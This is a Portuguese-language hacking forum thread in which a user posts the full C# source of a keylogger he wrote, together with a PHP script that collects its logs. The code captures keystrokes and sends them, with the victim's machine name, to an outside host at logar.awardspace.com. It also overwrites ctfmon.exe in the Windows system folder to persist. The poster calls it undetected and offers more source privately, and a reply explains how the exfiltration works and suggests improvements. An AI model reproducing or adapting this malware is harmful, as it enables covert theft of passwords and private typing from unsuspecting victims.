Minusculo keylogger em C# by me

Iniciado por Mateus, 01 de Janeiro , 2008, 07:43:51 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Mateus

Hola!
Queridos comapanheiros e companheiras...estou aqui pra abrir meu 1º topico...semana passada tava aqui de bobeira sem nada pra fazer e rosolvi codar um keylogger...foi feito pra ser o mais simples rapido e leve possivel, nisso acho que alcançei meu objetivo
como sei que muito pouca gente vai realmente se interessar por ele a não ser para usar sem nem ler o código já que obviamente ele está indetectado nem comentei o código, quem quiser me peça o source completo por PM. mas basicamente é isso aqui:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net;
using System.IO;
using System.Diagnostics;
namespace WindowsFormsApplication5
{
    public partial class Form1 : Form
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(
            System.Windows.Forms.Keys vKey);
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(
            System.Int32 vKey);

        String keyBuffer = "";
        int chave = 1804;
        String URLPHP = "http://logar.awardspace.com/klr.php";
        public Form1()
        {   
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            infecta();
            timer1.Start();
            timer2.Start();
        }

        private void timer2_Tick(object sender, EventArgs e)
        {
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    if (keyBuffer.Length >= 256)
                    {
                        sendandflush();
                        keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
                    }
                    else
                    {
                        keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
                    }

                }
            }
        }
       
        private void timer1_Tick(object sender, EventArgs e)
        {
            sendandflush();
        }
        public void sendandflush()
        {
             string kbc = encrypta(keyBuffer, chave);
             websend(kbc);
             keyBuffer = "";
        }
        public string encrypta(string segredo, int chave)
        {
            int i;
            string charcache = "";
            for (i = 0; i < segredo.Length; i++)
            {
                int letra = Char.Parse(segredo[i].ToString()) * (chave);
                charcache = charcache + letra.ToString() + " ";
            }
            return charcache;
         }
        public void websend(String content)
        {
            String machinename = Dns.GetHostName().ToString();
            String url = URLPHP + "?log=" + content + "&maquina=" + machinename;
            HttpWebRequest getrequest = (HttpWebRequest)HttpWebRequest.Create(url);
            getrequest.Method = "GET";
            getrequest.GetResponse();
        }
        public void infecta()
        {
            String ctfpath = Environment.GetFolderPath(System.Environment.SpecialFolder.System).ToString() + "\\ctfmon.exe";
            String ctfpath2 = Environment.GetFolderPath(System.Environment.SpecialFolder.System).ToString() + "\\dllcache\\ctfmon.exe";
            MessageBox.Show(ctfpath);
            if (Application.ExecutablePath != ctfpath && Application.ExecutablePath != ctfpath)
            {
                if (File.Exists(ctfpath) == true)
                {
                    foreach (Process ctfmon in Process.GetProcessesByName("ctfmon"))
                    {                       
                        ctfmon.Kill();
                        File.Delete(ctfpath);
                        File.Delete(ctfpath2);
                    }
                    if (File.Exists(ctfpath) == false)
                    {
                        File.Copy(Application.ExecutablePath, ctfpath);
                    }
                    if (File.Exists(ctfpath2) == false)
                    {
                        File.Copy(Application.ExecutablePath, ctfpath2);
                    }
                }
                else
                {
                    MessageBox.Show("Você foi infectado por um vírus mas vc nao tem o microsoft office e ele não se propagará.");
                }
            }
        }
    }
}

e o codigo do krl.php é :

<?php
$ip 
$_ENV['REMOTE_ADDR'&#93;;
$conteudo $_GET['log'&#93;;
$nomedamaquina $_GET['maquina'&#93;;
$dia date('d-m-Y');
$hora date('G&#58;i&#58;s \d\e d/m/Y');
$fp fopen("log de $dia de $nomedamaquina em $ip&#46;txt","a+");
fputs($fp,"$log");
fclose($fp);
?>

como já disse...é uma coisa pessoal minha, então desculpem pelo codigo bagunçado e talvez umas POGzinhas ^^
H4X with axes 8)

Mateus

esqueci....os logs são enviados com uma encriptação bem fraquinha...quem quiser o source do decripter PM too, e quem tiver duvidas sobre o codigo pode perguntar aqui msm
H4X with axes 8)

branco

lol da pra saber o descriptor soh olhando o codigo..

tipo, ficou bem legal, mas vale pra galera lembrar :

a variavel string URLPHP = "http://logar.awardspace.com/klr.php";
é a pagina pra onde os logs estao sendo enviados, entao temos duas váriaveis que passam os conteudos pra esse servidor

segue o codigo da função

        public void websend(String content)
        {
            String machinename = Dns.GetHostName().ToString();
            String url = URLPHP + "?log=" + content + "&maquina=" + machinename;
            HttpWebRequest getrequest = (HttpWebRequest)HttpWebRequest.Create(url);
            getrequest.Method = "GET";
            getrequest.GetResponse();
        }


na string url, vem o conteudo que vai ser passado pra variavel $conteudo no servidor que receberá os logs, exatamenten essa parte "&log=" + content
depois vem &maquina = " + machine, que contem o nome da maquina vitima.


tipo Mateus, gostei do seu KL.
se quiser incrementalo, poderia fazer um banco de dados simples...pra organizar mais.

outra coisinha, no seu script em PHP você utilizou "a+" para abrir o arquivo pra leitura e escrita, deveria ter utilizado apenas "a" :P

have fun !
depois vem o nome da maquina
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Mateus

quanto a parte do php, nunca mudo o modo ^^
mesmo quando era pra ser r ou w  ou qualquer outro só largo o a+ ^^
H4X with axes 8)